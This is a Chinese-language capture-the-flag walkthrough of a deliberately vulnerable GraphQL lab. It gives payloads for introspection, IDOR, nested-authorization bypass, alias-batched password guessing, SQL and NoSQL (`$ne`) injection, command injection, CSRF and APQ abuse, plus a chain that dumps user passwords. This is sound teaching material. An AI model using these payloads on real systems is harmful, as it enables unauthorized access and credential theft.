
前言之前大致的了解了Graphql,websocket,rpc,restfulapi.由于现在比赛需要所以单独把这些部分拿出来再学一下,重点在前三位,rest的我个人认为偏向于接口fuzz类所以就不细说它。本次使用的靶场是用ai大人搓的一个,还有待优化,希望各位可以提出建议.github地址我会放最后.level 0 (打靶)由于是ai搓的大家将就一下吧这一关算是熟悉一下这个查询的请求格式.这个相当于是未授权访问,你的endpoint.客户端请求什么服务端就返回所请求的资源.相关的审计代码如下challenge: () world.data.flagquery { challenge }flag:FLAG{graphql_basics_f8c9a47d}level 1这一关题目描述如下GraphQL 区分查询(读取数据)和突变(写入数据)操作。字段可以接收参数,操作可以通过Variables接收运行时值。在此级别中,flag会存储在特殊用户的配置文件中。探索API,了解参数和嵌套选择的工作原理,并检索该标志。Stored as a column (secretMessage) of a user row, returned by a normal resolver.证明最后要查的是一个secretMessage的资源query(查询) mutation(修改)既然题目描述说flag会存储在特殊用户的配置文件中那么我们就看看有哪些用户,猜一下用户表users. query是一个精准的查询方式他不会允许访问一个目录,所以实际上我们指定的是键值对中的键然后通过query去查值.就比如这样一个结构users |---sex |---name |---id |---email |---qq |---wechat我们query{users}是不行的,因为服务器不知道你到底要users里面的哪一个值,是sex呢还是name呢还是id呢.所以可以有query{users{id}}同理query{users{email}}是不行的.而query{users{email{qq}}}是可以的。当然query{users{sex name}}。这里注意一个点query{users}本质上是我要调用 Schema 中 Query 类型的 users 字段而不是我要访问服务器的 /users/ 路径。总之记住这句话GraphQL Query 不是“访问目录”而是在 Schema 提供的对象/字段树上进行选择。回到这个题我们猜一下字段,最后得出id和username.(这种大家不必过于纠结,题目没出好应该直接告诉大家的,猜一下也很好猜)poc如下query{user(id:3){username secretMessage}} query{users{username secretMessage}} 总之有很多我们已经知道目录结构怎么来都可以这里还是未授权的flag:FLAG{graphql_query_mutation_eb98d301}level 2题目描述:开发者在制作过程中意外地启用了 GraphQL 自省功能。内省是一种内置机制,可让客户端向服务器询问其完整模式:每种类型、字段、参数和突变。此关卡将其flag隐藏在一个从未在任何地方记录的字段后方——通过读取模式本身来查找。这个有点明了哦,相当于是sql注入里面的informationschema。所以我们记住下面这几个问题你有什么 Type 你有什么 Query 你有什么 Mutation 每个 Field 有什么参数 参数是什么类型 返回什么类型 有哪些 Directive所以上来跟他爆了query IntrospectionQuery {__schema {queryType { name }mutationType { name }types {namefields {nameargs { name }type { name }}}}}发现deepSecret记住,__schema找架构,__type找详细资料。poc:query{deepSecret{value}}这里可能有人问为啥你知道最里层是valude这个filed呢,因为我们直到deepSecret返回类型是SecretPayload,而这个东西他有一个value且value的类型是string,因此deepSecret这个filed有value属性.可以看看下面代码的值来帮助理解,下面是查Query类型的字段名.{ __type(name: Query) { fields { name } } }flag:FLAG{graphql_introspection_8334672a}level 3这关加了账号密码登录这里可能有点不明所以(这点不是很重要)query:查询mutation:执行/修改subscription:订阅mutation { login(username: alice, password: alice123) { token user { username } } }实际情况肯定不可能这样鉴权的,也不好说吧.没啥说的就登录然后query{me{apiKey}}flag:FLAG{graphql_information_disclosure_48dcb9ad}level 4改改请求头这里不改这样放哈感觉没啥相关性。level 5这关是IDOR用我们的__schema获取结构后了解字段结构然后直接枚举,因为默认账户alice是d-1001和1002。所以poc:query { document(id: d-2001) { title content ownerId } }flag:FLAG{graphql_idor_dc0ca4ab}level 6父解释器授权而它的子解释器未授权可以跳其他信息。messages字段是没做鉴权的.这里更多的是思路吧我觉得,难点在于query不知道怎么构造的话就只有去看看graphql了。poc:query { user(username: bob) { username messages { content } } }flag:FLAG{graphql_nested_authorization_bf11f13f}level 7mutation可以一次性执行多组值尝试,爆破弱口令比常规登录逻辑快.没啥说的mutation { a: login(username:admin, password:admin){ success token } b: login(username:admin, password:password){ success token } c: login(username:admin, password:123456){ success token } d: login(username:admin, password:graphqlrocks){ success token } }flag:FLAG{graphql_alias_batch_004d6726}第八关是多层嵌套递归打dos也不说了没啥营养。flag:FLAG{graphql_query_dos_3b5fec30}level 9该场景下打sql注入.这种实际情况我觉得很少,而且打黑盒一般想不到,这里大家重点关注白盒的审计要点,其实和sql的审计点是一样的,这里是searchUsers(keyword) 的 resolver 直接把 keyword 拼进 LIKE 语句。我在wp里面补充了。flag:FLAG{graphql_sql_injection_60a6a94a}level 10Mongo 的 find 接受查询文档。普通写法 {username:admin,password:s3cr3t}是等值。但如果你能把 { $ne: x } 塞进 password 字段{ username:admin, password: { $ne:x } } → “密码不等于 x” 对所有记录为真 → 命中 admin。GraphQL 类型系统只能保证“值是字符串”不能阻止 resolver 对字符串做二次解析。代码审计点可以参考nosql和rce。思路还是和以前的一样只是换了个场景。flag:FLAG{graphql_nosql_injection_baf33c80}level 11这一关就是ping后面;截断导致的rce思路上没新的也是只是场景变了。flag:FLAG{graphql_command_injection_8b07a361}level 12这关没啥营养且实用性低大家看wp吧就flag:FLAG{graphql_directive_abuse_874331bf}level 13依次填入mutation { login(username:attacker,password:attacker123){ ok } } mutation { changeEmail(email:admincorp.example){ ok email } } query{ readInbox { subject content } }CSRF那一套flag:FLAG{graphql_csrf_fecddd75}level 14关 introspection 只是挡住两条路Schema 信息仍可通过以下渠道泄露 校验错误建议Did you mean、__typename、错误差分Cannot query field x on type T泄露类型名、文档/前端残留、字段爆破。隐藏 introspection 是“模糊”而不是“授权”。flag:FLAG{graphql_introspection_bypass_d3440468}level 15APQ 用 sha256 代替查询文本本意是省流量/便于白名单。它不是安全机制 注册开放 无 owner 绑定 resolver 无鉴权 “hash 即白名单”完全失效。用 hash 代替整段查询文本。之前注册过的查询泄露可以直接复用然后结合APQlevel 16组合拳哈,看到内省开着先看query类型的字段query{__type(name: Query){fields{name}}}返回{ data: { __type: { fields: [ { name: me }, { name: user }, { name: users }, { name: order }, { name: document }, { name: searchUsers }, { name: adminVault } ] } } }me可以看看apiKey,adminVault也可以查一下类型然后看看value。还有一个searchUsers这种功能直接注入往上打。需要先登录alicemutation { login(username:alice, password:alice123) { token } }看过apiKey没啥用哈。要不直接试试searchUsers功能。{ __type(name: Query) { fields { name args { name type { name kind ofType { name kind } } } type { name kind ofType { name kind } } } } }内省开着直接给他曝光,看看这个searchUsers怎么触发的。{ name: searchUsers, args: [ { name: keyword, type: { name: null, kind: NON_NULL, ofType: { name: String, kind: SCALAR } } } ], type: { name: null, kind: LIST, ofType: { name: null, kind: NON_NULL } } },这个给了我们什么信息呢有个非空参数keyword继续往下查{ __type(name: Query) { fields { name args { name type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }返回值如下{ name: searchUsers, args: [ { name: keyword, type: { kind: NON_NULL, name: null, ofType: { kind: SCALAR, name: String, ofType: null } } } ], type: { kind: LIST, name: null, ofType: { kind: NON_NULL, name: null, ofType: { kind: OBJECT, name: User, ofType: null } } } },返回值是非空对象列表emm尝试一下能不能再keyword打sql注入query { searchUsers(keyword: alice) { username role } }%出了很多东西可以有{ __type(name: User) { fields { name args { name type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }老样子查字段,User类型有哪些字段看到其中有password所以直接%查所有人password.拿到admin然后换账号,然后老方法查adminVault的字段。最后拿到。总结查字段,换类型,再复查,传参数,试fuzz,又重复。靶场地址:https://github.com/dnjs15/my-study-labs